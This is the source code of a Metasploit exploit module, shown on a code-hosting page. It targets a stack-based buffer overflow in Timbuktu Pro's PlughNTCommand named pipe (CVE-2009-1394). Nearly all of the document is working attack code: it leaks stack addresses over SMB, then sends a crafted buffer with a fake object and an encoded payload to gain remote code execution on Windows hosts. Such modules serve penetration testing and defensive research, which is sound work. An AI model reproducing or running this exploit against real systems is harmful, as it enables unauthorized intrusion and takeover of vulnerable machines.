Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::SMB::Client910def initialize(info = {})11super(update_info(info,12'Name' => 'Timbuktu PlughNTCommand Named Pipe Buffer Overflow',13'Description' => %q{14This module exploits a stack based buffer overflow in Timbuktu Pro version <= 8.6.615in a pretty novel way.1617This exploit requires two connections. The first connection is used to leak stack data18using the buffer overflow to overwrite the nNumberOfBytesToWrite argument. By supplying19a large value for this argument it is possible to cause Timbuktu to reply to the initial20request with leaked stack data. Using this data allows for reliable exploitation of the21buffer overflow vulnerability.2223Props to Infamous41d for helping in finding this exploitation path.2425The second connection utilizes the data from the data leak to accurately exploit26the stack based buffer overflow vulnerability.2728TODO:29hdm suggested using meterpreter's migration capability and restarting the process30for multishot exploitation.31},32'Author' => [ 'bannedit' ],33'License' => MSF_LICENSE,34'References' =>35[36[ 'CVE', '2009-1394' ],37[ 'OSVDB', '55436' ],38[ 'BID', '35496' ],39[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=809' ],40],41'DefaultOptions' =>42{43'EXITFUNC' => 'process',44},45'Payload' =>46{47'Space' => 2048,48},49'Platform' => 'win',50'Targets' =>51[52# we use a memory leak technique to get the return address53# tested on Windows XP SP2/SP3 may require a bit more testing54[ 'Automatic Targeting',55{56# ntdll .data (a fairly reliable address)57# this address should be relatively stable across platforms/SPs58'Writable' => 0x7C97B0B0 + 0x10 - 0xc59}60],61],62'Privileged' => true,63'DisclosureDate' => '2009-06-25',64'DefaultTarget' => 0))6566deregister_options('SMB::ProtocolVersion')67end686970# we make two connections this code just wraps the process71def smb_connection7273connect(versions: [1])74smb_login()7576print_status("Connecting to \\\\#{datastore['RHOST']}\\PlughNTCommand named pipe")7778pipe = simple.create_pipe('\\PlughNTCommand')7980fid = pipe.file_id81trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')8283return pipe8485end868788def mem_leak8990pipe = smb_connection()9192print_status("Constructing memory leak...")9394writable_addr = target['Writable']9596buf = make_nops(114)97buf[0] = "3 " # specifies the command98buf[94] = [writable_addr].pack('V') # this helps us by pass some checks in the code99buf[98] = [writable_addr].pack('V')100buf[110] = [0x1ff8].pack('V') # number of bytes to leak101102pipe.write(buf)103leaked = pipe.read()104leaked << pipe.read()105106if (leaked.length < 0x1ff8)107print_error("Error: we did not get back the expected amount of bytes. We got #{leaked.length} bytes")108pipe.close109disconnect110return111end112113114offset = 0x1d64115stackaddr = leaked[offset, 4].unpack('V')[0]116bufaddr = stackaddr - 0xcc8117118print_status "Stack address found: stack #{sprintf("0x%x", stackaddr)} buffer #{sprintf("0x%x", bufaddr)}"119120print_status("Closing connection...")121pipe.close122disconnect123124return stackaddr, bufaddr125126end127128129def exploit130131stackaddr, bufaddr = mem_leak()132133if (stackaddr.nil? || bufaddr.nil? ) # just to be on the safe side134print_error("Error: memory leak failed")135return136end137138pipe = smb_connection()139140buf = make_nops(1280)141buf[0] = "3 "142buf[94] = [bufaddr+272].pack('V') # create a fake object143buf[99] = "\x00"144buf[256] = [bufaddr+256].pack('V')145buf[260] = [bufaddr+288].pack('V')146buf[272] = "\x00"147buf[512] = payload.encoded148149pipe.write(buf)150151end152end153154155